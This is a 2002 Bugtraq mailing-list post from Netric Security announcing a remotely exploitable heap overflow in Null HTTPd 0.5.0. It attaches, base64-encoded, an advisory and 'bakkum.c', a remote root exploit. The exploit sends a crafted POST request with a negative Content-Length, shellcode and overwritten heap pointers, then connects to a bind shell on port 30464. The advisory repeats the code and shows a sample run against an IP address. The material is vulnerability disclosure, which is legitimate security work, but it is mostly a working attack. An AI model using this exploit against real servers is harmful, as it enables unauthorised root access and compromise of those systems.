|
Date: Sun, 22 Sep 2002 23:19:48 -0000 From: Bert Vanmanshoven <sacrine@netric.org> To: bugtraq@securityfocus.com Subject: remote exploitable heap overflow in Null HTTPd 0.5.0 ----=_b7a38fabb9df835142512664388a1c96f Content-Type: text/plain Content-Transfer-Encoding: 8bit included: - netric-adv009.txt (advisory) - bakkum.c (remote root exploit) Kind Regards, Netric Security http://www.netric.org ________________________________________________ Message sent using UebiMiau 2.7 ----=_b7a38fabb9df835142512664388a1c96f Content-Type: application/octet-stream; name="bakkum.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="bakkum.c" LyogICAgICAgICAgIF8gX19fX19fX18gICAgICAgICAgICBfX19fXyAgICAgICAgICAgICAgICAg ICAgICAgIF9fX19fXwogICAgX18gX19fIF9fX18gICAgICAgL19fX18uLS0tLS0tYCAgICAvX19f X19fXy4tLS0tLS0uX19fLi0tLS1gICBfX18vX19fXyBfX19fX19fCiAgICAgICAgIF8vICAgIFwg XyAgIC9cICAgX18uICBfXy8vICAgX19fL18gICAgX19fLiAgL19cICAgIC9fICAgIHwgICAgIF8v CiAgIF9fXyAuX1wgICAgLiBcXCAgL19fICBfX19fXy8gXyAgICAvICAgICBcXyAgfCAgICAvX18g ICAgICB8ICAgX3wgc2xjIHwgX19fX18gXwogICAgICAtIC0tLS0tLS1cX19fX19ffHwtLS5fX19f X1wtLS0uX19fX19fXy8vLXxfXyAgICAvLy0uX19ffC0tLS0uX19fX198fAoJCQkJCSAgICAgICAv IFwgICAvCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IFwvCiAiSWYgd2Uga25ldyB3aGF0IGl0IHdhcyB3ZSB3ZXJlIGRvaW5nLCBpdCB3b3VsZCBub3Qg YmUgY2FsbGVkIHJlc2VhcmNoLCB3b3VsZCBpdD8iIAogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t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V0ICBmZF9yZWFkOwogICAgICAgIGNoYXIgYnVm ZlsxMDI0XSwgKmNtZD0iL2Jpbi91bmFtZSAtYTsvdXNyL2Jpbi9pZDtcbiI7CiAgICAgICAgaW50 IG47CgogICAgICAgIEZEX1pFUk8oJmZkX3JlYWQpOwogICAgICAgIEZEX1NFVChzb2NrLCAmZmRf cmVhZCk7CiAgICAgICAgRkRfU0VUKDAsICZmZF9yZWFkKTsKCiAgICAgICAgc2VuZChzb2NrLCBj bWQsIHN0cmxlbihjbWQpLCAwKTsKICAgICAgICB3aGlsZSgxKSB7CiAgICAgICAgICAgICAgICBG RF9TRVQoc29jaywmZmRfcmVhZCk7CiAgICAgICAgICAgICAgICBGRF9TRVQoMCwmZmRfcmVhZCk7 CiAgICAgICAgICAgICAgICBpZihzZWxlY3Qoc29jaysxLCZmZF9yZWFkLE5VTEwsTlVMTCxOVUxM KTwwKSBicmVhazsKICAgICAgICAgICAgICAgIGlmKCBGRF9JU1NFVChzb2NrLCAmZmRfcmVhZCkg KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKChuPXJlY3Yoc29jayxidWZmLHNpemVvZihi dWZmKSwwKSk8MCl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnByaW50ZihzdGRl cnIsICJFT0ZcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoMik7CiAg ICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYod3JpdGUo MSxidWZmLG4pPDApYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYg KCBGRF9JU1NFVCgwLCAmZmRfcmVhZCkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKChu PXJlYWQoMCxidWZmLHNpemVvZihidWZmKSkpPDApewogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIGZwcmludGYoc3RkZXJyLCJFT0ZcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIGV4aXQoMik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAg ICAgICAgICAgaWYoc2VuZChzb2NrLGJ1ZmYsbiwwKTwwKSBicmVhazsKICAgICAgICAgICAgICAg IH0KICAgICAgICAgICAgICAgIHVzbGVlcCgxMCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAg ZnByaW50ZihzdGRlcnIsIkNvbm5lY3Rpb24gbG9zdC5cblxuIik7CiAgICAgICAgZXhpdCgwKTsK fQoKaW50Cm9wZW5ob3N0KGNoYXIgKmhvc3QsaW50IHBvcnQpCnsKICAgICAgICBzdHJ1Y3Qgc29j a2FkZHJfaW4gYWRkcjsKICAgICAgICBzdHJ1Y3QgaG9zdGVudCAqaGU7CgogICAgICAgIGhlPWdl dGhvc3RieW5hbWUoaG9zdCk7CgogICAgICAgIGlmIChoZT09TlVMTCkgcmV0dXJuIC0xOwogICAg ICAgIHNvY2s9c29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgidGNw IiktPnBfcHJvdG8pOwogICAgICAgIGlmIChzb2NrPT0tMSkgcmV0dXJuIC0xOwoKICAgICAgICBt ZW1jcHkoJmFkZHIuc2luX2FkZHIsIGhlLT5oX2FkZHIsIGhlLT5oX2xlbmd0aCk7CgogICAgICAg IGFkZHIuc2luX2ZhbWlseT1BRl9JTkVUOwogICAgICAgIGFkZHIuc2luX3BvcnQ9aHRvbnMocG9y dCk7CgogICAgICAgIGlmKGNvbm5lY3Qoc29jaywgKHN0cnVjdCBzb2NrYWRkciAqKSZhZGRyLCBz aXplb2YoYWRkcikpID09IC0xKSBzb2NrPS0xOwogICAgICAgIHJldHVybiBzb2NrOwp9CgppbnQK ZXhwbG9pdChjaGFyICpob3N0LCBpbnQgcG9ydCwgaW50IHR5cGUpCnsKICAgICAgICBjaGFyIHNl bmRidWZbNTAwXTsKICAgICAgICBjaGFyIGJ1ZmZlclszNzddOw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TsKICAgICAgICBpZiAoc29jaz09 LTEpIHsKICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCJGYWlsZWQuXG5cbiIpOwogICAg ICAgICAgICAgICAgZXhpdCgxKTsKICAgICAgICB9CgoJZnByaW50ZihzdGRvdXQsICJFeHBsb2l0 IHN1Y2Nlc3NmdWwhXG4iKTsKICAgICAgICBmcHJpbnRmKHN0ZG91dCwgIi0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIik7 CiAgICAgICAgc2hlbGwoc29jayk7CiAgICAgICAgY2xvc2Uoc29jayk7CiAgICAgICAgcmV0dXJu IDA7Cn0KCmludAptYWluIChpbnQgYXJnYyxjaGFyICphcmd2W10pCnsKICAgICAgICBjaGFyIGhv c3RbMjU2XTsKICAgICAgICBpbnQgaSxvcHQsdHlwZT0wLHBvcnQ9ODA7CgogICAgICAgIGZwcmlu dGYoc3Rkb3V0LCJOdWxsIGh0dHBkIDAuNS4wIHJlbW90ZSByb290IGV4cGxvaXQgICAgICAgICAg ICBieSBlU0RlZSBvZiBOZXRyaWNcbiIpOwogICAgICAgIGZwcmludGYoc3Rkb3V0LCItLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSh3d3cubmV0cmljLm9y ZylcbiIpOwoKICAgICAgICBtZW1zZXQoaG9zdCwgMHgwLCBzaXplb2YoaG9zdCkpOwoKICAgICAg ICB3aGlsZSgob3B0PWdldG9wdChhcmdjLGFyZ3YsImg6cDp0OiIpKSAhPUVPRikKICAgICAgICB7 CiAgICAgICAgICAgICAgICBzd2l0Y2gob3B0KQogICAgICAgICAgICAgICAgewogICAgICAgICAg ICAgICAgICAgICAgICBjYXNlICdoJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBz dHJuY3B5KGhvc3QsIG9wdGFyZywgc2l6ZW9mKGhvc3QpIC0gMSk7CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3AnOgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQ9YXRvaShvcHRhcmcpOwogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgocG9ydCA8PSAwKSB8fCAocG9ydCA+IDY1NTM1 KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnByaW50ZihzdGRl cnIsIkludmFsaWQgcG9ydC5cblxuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICByZXR1cm4gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAg ICBjYXNlICd0JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlPWF0b2kob3B0 YXJnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAodHlwZSA9PSAwIHx8IHR5 cGUgPiBzaXplb2YodGFyZ2V0cykvMTIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIGZvcihpID0gMDsgaSA8IHNpemVvZih0YXJnZXRzKS8xMjsgaSsrKQogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwg IiVkLiAlc1x0ICgweCUwOHggLSAweCUwOHgpXG4iLAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaSArIDEsCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0YXJn ZXRzW2ldLnR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICB0YXJnZXRzW2ldLnJldCx0YXJnZXRzW2ldLnJldGxvYyk7CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgIlxu Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gLTE7CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIHVzYWdlKGFyZ3ZbMF0pOwogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQoKICAgICAgICB9CgogICAgICAg IGlmIChzdHJsZW4oaG9zdCkgPT0gMCkgdXNhZ2UoYXJndlswXSk7CgogICAgICAgIGlmICghdHlw ZSkgewogICAgICAgICAgICAgICAgZnByaW50ZihzdGRlcnIsICJObyB0YXJnZXQgZ2l2ZW4sIHVz ZSAtdDAgZm9yIGEgbGlzdC5cblxuIik7CiAgICAgICAgICAgICAgICByZXR1cm4gLTE7CiAgICAg ICAgfQoKICAgICAgICBpZiAoZXhwbG9pdChob3N0LCBwb3J0LCB0eXBlKSA8IDApIHsKICAgICAg ICAgICAgICAgIGZwcmludGYoc3RkZXJyLCAiRmFpbGVkLlxuXG4iKTsKICAgICAgICAgICAgICAg IHJldHVybiAtMTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAwOwp9Cg== ----=_b7a38fabb9df835142512664388a1c96f Content-Type: text/plain; name="netric-adv009.txt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="netric-adv009.txt" TmV0cmljIFNlY3VyaXR5IFRlYW0gLSBodHRwOi8vd3d3Lm5ldHJpYy5bb3JnfGJlXQpCeSBOZXRy aWMKCk51bGxodHRw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jdChzb2NrKzEsJmZkX3Jl YWQsTlVMTCxOVUxMLE5VTEwpPDApIGJyZWFrOwogICAgICAgICAgICAgICAgCWlmKCBGRF9JU1NF VChzb2NrLCAmZmRfcmVhZCkgKSB7CgkgICAgICAgICAgICAgICAgICAgICAgICBpZigobj1yZWN2 KHNvY2ssYnVmZixzaXplb2YoYnVmZiksMCkpPDApewogICAgICAgIAkgICAgICAgICAgICAgICAg ICAgICAgICBmcHJpbnRmKHN0ZGVyciwgIkVPRlxuIik7CiAgICAgICAgICAgICAgICAJICAgICAg ICAgICAgICAgIGV4aXQoMik7CiAgICAgICAgICAgICAgICAgICAgICAgIAl9CiAgICAgICAgICAg ICAgICAgICAgICAgIAlpZih3cml0ZSgxLGJ1ZmYsbik8MClicmVhazsKICAgICAgICAgICAgICAg IAl9CgogICAgICAgICAgICAgICAgCWlmICggRkRfSVNTRVQoMCwgJmZkX3JlYWQpICkgewoJICAg ICAgICAgICAgICAgICAgICAgICAgaWYoKG49cmVhZCgwLGJ1ZmYsc2l6ZW9mKGJ1ZmYpKSk8MCl7 CiAgICAgICAgCSAgICAgICAgICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCJFT0ZcbiIp OwogICAgICAgICAgICAgICAgCSAgICAgICAgICAgICAgICBleGl0KDIpOwogICAgICAgICAgICAg ICAgICAgICAgICAJfQogICAgICAgICAgICAgICAgICAgICAgICAJaWYoc2VuZChzb2NrLGJ1ZmYs biwwKTwwKSBicmVhazsKICAgICAgICAgICAgICAgIAl9CiAgICAgICAgICAgICAgICAJdXNsZWVw KDEwKTsKICAgICAgICAgICAgICAgIAl9CiAgICAgICAgCWZwcmludGYoc3RkZXJyLCJDb25uZWN0 aW9uIGxvc3QuXG5cbiIpOwogICAgICAgIAlleGl0KDApOwoJfQoKCWludAoJb3Blbmhvc3QoY2hh ciAqaG9zdCxpbnQgcG9ydCkKCXsKCSAgICAgICAgc3RydWN0IHNvY2thZGRyX2luIGFkZHI7CiAg ICAgICAgCXN0cnVjdCBob3N0ZW50ICpoZTsKCQoJICAgICAgICBoZT1nZXRob3N0YnluYW1lKGhv c3QpOwoJCgkgICAgICAgIGlmIChoZT09TlVMTCkgcmV0dXJuIC0xOwoJICAgICAgICBzb2NrPXNv Y2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpLT5wX3Byb3Rv KTsKCSAgICAgICAgaWYgKHNvY2s9PS0xKSByZXR1cm4gLTE7CgkKCSAgICAgICAgbWVtY3B5KCZh ZGRyLnNpbl9hZGRyLCBoZS0+aF9hZGRyLCBoZS0+aF9sZW5ndGgpOwoJCiAgICAgICAgCWFkZHIu c2luX2ZhbWlseT1BRl9JTkVUOwogICAgICAgIAlhZGRyLnNpbl9wb3J0PWh0b25zKHBvcnQpOwoK ICAgICAgICAJaWYoY29ubmVjdChzb2NrLCAoc3RydWN0IHNvY2thZGRyICopJmFkZHIsIHNpemVv ZihhZGRyKSkgPT0gLTEpIHNvY2s9LTE7CiAgICAgICAgCXJldHVybiBzb2NrOwoJfQoKCWludAoJ ZXhwbG9pdChjaGFyICpob3N0LCBpbnQgcG9ydCwgaW50IHR5cGUpCgl7CiAgICAgICAgCWNoYXIg c2VuZGJ1Zls1MDBdOwogICAgICAgIAljaGFyIGJ1ZmZlclszNzddOwogICAgICAgIAlpbnQgaT0w OwogICAgICAgIAlpbnQgc29jazI7CgkKICAgICAgICAJc29jaz1vcGVuaG9zdChob3N0LCBwb3J0 KTsKCiAgICAgICAgCWlmIChzb2NrPT0tMSkgewoJICAgICAgICAgICAgICAgIGZwcmludGYoc3Rk ZXJyLCJVbmFibGUgdG8gY29ubmVjdC5cblxuIik7CiAgICAgICAgICAgICAgICAJZXhpdCgxKTsK ICAgICAgICAJfQoJCgkgICAgICAgZnByaW50ZihzdGRvdXQsICJBdHRhY2tpbmcgKCVzKSAuLi5c biIsIGhvc3QpOwoJICAgICAgIG1lbXNldChidWZmZXIsIDB4YmYsIHNpemVvZihidWZmZXIpIC0g MSk7CgogICAgICAgIAlmb3IoaT0wO2k8Mzc2O2k9aSs0KQogICAgICAgIAl7CiAgICAgICAgICAg ICAgICAJYnVmZmVyW2ldICAgPSAweGJmOyAvKiBtdXN0IGJlIGEgdmFsaWQgcG9pbnRlciAqLwog ICAgICAgICAgICAgICAgCWJ1ZmZlcltpKzFdID0gMHhmZjsKICAgICAgICAgICAgICAgIAlidWZm ZXJbaSsyXSA9IDB4YjA7CiAgICAgICAgICAgICAgICAJYnVmZmVyW2krM10gPSAweGVmOwogICAg ICAgIAl9CgogICAgICAgIAltZW1jcHkoYnVmZmVyLCBzaGVsbGNvZGUsIHN0cmxlbihzaGVsbGNv ZGUpKTsKCiAgICAgICAgCWJ1ZmZlclszNTldID0gMHhmZjsgLyogcHJldl9zaXplICovCiAgICAg ICAgCWJ1ZmZlclszNjBdID0gMHhmZjsKICAgICAgICAJYnVmZmVyWzM2MV0gPSAweGZmOwogICAg ICAgIAlidWZmZXJbMzYyXSA9IDB4ZmY7CgkKICAgICAgICAJYnVmZmVyWzM2M10gPSAweGZjOyAv KiBzaXplIGZpZWxkICovCiAgICAgICAgCWJ1ZmZlclszNjRdID0gMHhmZjsKICAgICAgICAJYnVm ZmVyWzM2NV0gPSAweGZmOwogICAgICAgIAlidWZmZXJbMzY2XSA9IDB4ZmY7CgogICAgICAgIAli dWZmZXJbMzY4XSA9ICh0YXJnZXRzW3R5cGUgLSAxXS5yZXRsb2MgJiAweDAwMDAwMGZmKTsgLyog RkQgKi8KICAgICAgICAJYnVmZmVyWzM2OV0gPSAodGFyZ2V0c1t0eXBlIC0gMV0ucmV0bG9jICYg MHgwMDAwZmYwMCkgPj4gODsKICAgICAgICAJYnVmZmVyWzM3MF0gPSAodGFyZ2V0c1t0eXBlIC0g MV0ucmV0bG9jICYgMHgwMGZmMDAwMCkgPj4gMTY7CiAgICAgICAgCWJ1ZmZlclszNzFdID0gKHRh cmdldHNbdHlwZSAtIDFdLnJldGxvYyAmIDB4ZmYwMDAwMDApID4+IDI0OwoJCiAgICAgICAgCWJ1 ZmZlclszNzJdID0gKHRhcmdldHNbdHlwZSAtIDFdLnJldCAmIDB4MDAwMDAwZmYpOyAvKiBCSyAq LwogICAgICAgIAlidWZmZXJbMzczXSA9ICh0YXJnZXRzW3R5cGUgLSAxXS5yZXQgJiAweDAwMDBm ZjAwKSA+PiA4OwogICAgICAgIAlidWZmZXJbMzc0XSA9ICh0YXJnZXRzW3R5cGUgLSAxXS5yZXQg JiAweDAwZmYwMDAwKSA+PiAxNjsKICAgICAgICAJYnVmZmVyWzM3NV0gPSAodGFyZ2V0c1t0eXBl IC0gMV0ucmV0ICYgMHhmZjAwMDAwMCkgPj4gMjQ7CgkKCSAgICAgICAgYnVmZmVyWzM3Nl0gPSAw eDA7CgkKICAgICAgICAJc25wcmludGYoc2VuZGJ1Ziwgc2l6ZW9mKHNlbmRidWYpIC0xLCAiUE9T VCAvIEhUVFAvMS4wXG4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAJIkNvbnRlbnQtTGVuZ3RoOiAtODAwXG4iCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAJIlxuXG4lc1xuIixidWZmZXIpOwoKICAgICAgICAJd3JpdGUo c29jaywgc2VuZGJ1Ziwgc3RybGVuKHNlbmRidWYpKTsKCiAgICAgICAgCXNsZWVwKDQpOwogICAg ICAgIAljbG9zZShzb2NrKTsKCQoJICAgICAgICBzb2NrPW9wZW5ob3N0KGhvc3QsIDMwNDY0KTsK ICAgICAgICAJaWYgKHNvY2s9PS0xKSB7CiAgICAgICAgICAgICAgICAJZnByaW50ZihzdGRlcnIs IkZhaWxlZC5cblxuIik7CiAgICAgICAgICAgICAgICAJZXhpdCgxKTsKICAgICAgICAJfQoKICAg ICAgICAJZnByaW50ZihzdGRvdXQsICJFeHBsb2l0IHN1Y2Nlc3NmdWwhXG4iKTsKICAgICAgICAJ ZnByaW50ZihzdGRvdXQsICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiIpOwogICAgICAgIAlzaGVsbChzb2NrKTsKICAg ICAgICAJY2xvc2Uoc29jayk7CiAgICAgICAgCXJldHVybiAwOwoJfQoKCWludAoJbWFpbiAoaW50 IGFyZ2MsY2hhciAqYXJndltdKQoJewoJICAgICAgICBjaGFyIGhvc3RbMjU2XTsKICAgICAgICAJ aW50IGksb3B0LHR5cGU9MCxwb3J0PTgwOwoJCiAgICAgICAgCWZwcmludGYoc3Rkb3V0LCJOdWxs IGh0dHBkIDAuNS4wIHJlbW90ZSByb290IGV4cGxvaXQgICAgICAgICAgICBieSBlU0RlZSBvZiBO ZXRyaWNcbiIpOwogICAgICAgIAlmcHJpbnRmKHN0ZG91dCwiLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0od3d3Lm5ldHJpYy5vcmcpXG4iKTsKCQogICAg ICAgIAltZW1zZXQoaG9zdCwgMHgwLCBzaXplb2YoaG9zdCkpOwoKICAgICAgICAJd2hpbGUoKG9w dD1nZXRvcHQoYXJnYyxhcmd2LCJoOnA6dDoiKSkgIT1FT0YpCiAgICAgICAgCXsKCSAgICAgICAg ICAgICAgICBzd2l0Y2gob3B0KQogICAgICAgIAkgICAgICAgIHsKICAgICAgICAgICAgICAgIAkg ICAgICAgIGNhc2UgJ2gnOgogICAgICAgICAgICAgICAgICAgICAgICAJICAgICAgICBzdHJuY3B5 KGhvc3QsIG9wdGFyZywgc2l6ZW9mKGhvc3QpIC0gMSk7CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCWJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAJY2FzZSAncCc6CgkgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQ9YXRvaShvcHRhcmcpOwogICAgICAgIAkg ICAgICAgICAgICAgICAgICAgICAgICBpZiAoKHBvcnQgPD0gMCkgfHwgKHBvcnQgPiA2NTUzNSkp IHsKICAgICAgICAgICAgICAgIAkgICAgICAgICAgICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVy ciwiSW52YWxpZCBwb3J0LlxuXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgCSAgICAgICAg ICAgICAgICByZXR1cm4gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJYnJlYWs7CiAgICAgICAgICAgICAgICAgICAg ICAgIAljYXNlICd0JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJdHlwZT1hdG9p KG9wdGFyZyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCWlmICh0eXBlID09IDAg fHwgdHlwZSA+IHNpemVvZih0YXJnZXRzKS8xMikgewoJICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIGZvcihpID0gMDsgaSA8IHNpemVvZih0YXJnZXRzKS8xMjsgaSsrKQog ICAgICAgIAkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnByaW50Zihz dGRlcnIsICIlZC4gJXNcdCAoMHglMDh4IC0gMHglMDh4KVxuIiwKICAgICAgICAgICAgICAgIAkg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpICsgMSwKICAg ICAgICAgICAgICAgICAgICAgICAgCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICB0YXJnZXRzW2ldLnR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGFyZ2V0c1tpXS5yZXQsdGFyZ2V0c1tpXS5y ZXRsb2MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCWZwcmludGYo c3RkZXJyLCAiXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAly ZXR1cm4gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCX0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAJYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIAlkZWZh dWx0OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl1c2FnZShhcmd2WzBdKTsKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJYnJlYWs7CiAgICAgICAgICAgICAgICAJfQoK ICAgICAgICAJfQoJCgkgICAgICAgIGlmIChzdHJsZW4oaG9zdCkgPT0gMCkgdXNhZ2UoYXJndlsw XSk7CgkKICAgICAgICAJaWYgKCF0eXBlKSB7CiAgICAgICAgICAgICAgICAJZnByaW50ZihzdGRl cnIsICJObyB0YXJnZXQgZ2l2ZW4sIHVzZSAtdDAgZm9yIGEgbGlzdC5cblxuIik7CiAgICAgICAg ICAgICAgICAJcmV0dXJuIC0xOwogICAgICAgIAl9CgogICAgICAgIAlpZiAoZXhwbG9pdChob3N0 LCBwb3J0LCB0eXBlKSA8IDApIHsKICAgICAgICAgICAgICAgIAlmcHJpbnRmKHN0ZGVyciwgIkZh aWxlZC5cblxuIik7CiAgICAgICAgICAgICAgICAJcmV0dXJuIC0xOwogICAgICAgIAl9CgogICAg ICAgIAlyZXR1cm4gMDsKCX0KCTwtLT4gRU5EIE9GIEZJTEUgPC0tPgpbNF0gUHJvb2Ygb2YgY29u Y2VwdAoKCVtyb290QHBhbnQwZmZlbF0jIC4vYmFra3VtIC1oIDIxMy4yMDEuMTc2LjE5OCAtdDEK CU51bGwgaHR0cGQgMC41LjAgcmVtb3RlIHJvb3QgZXhwbG9pdCAgICAgICAgICAgIGJ5IGVTRGVl IG9mIE5ldHJpYwoJLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0od3d3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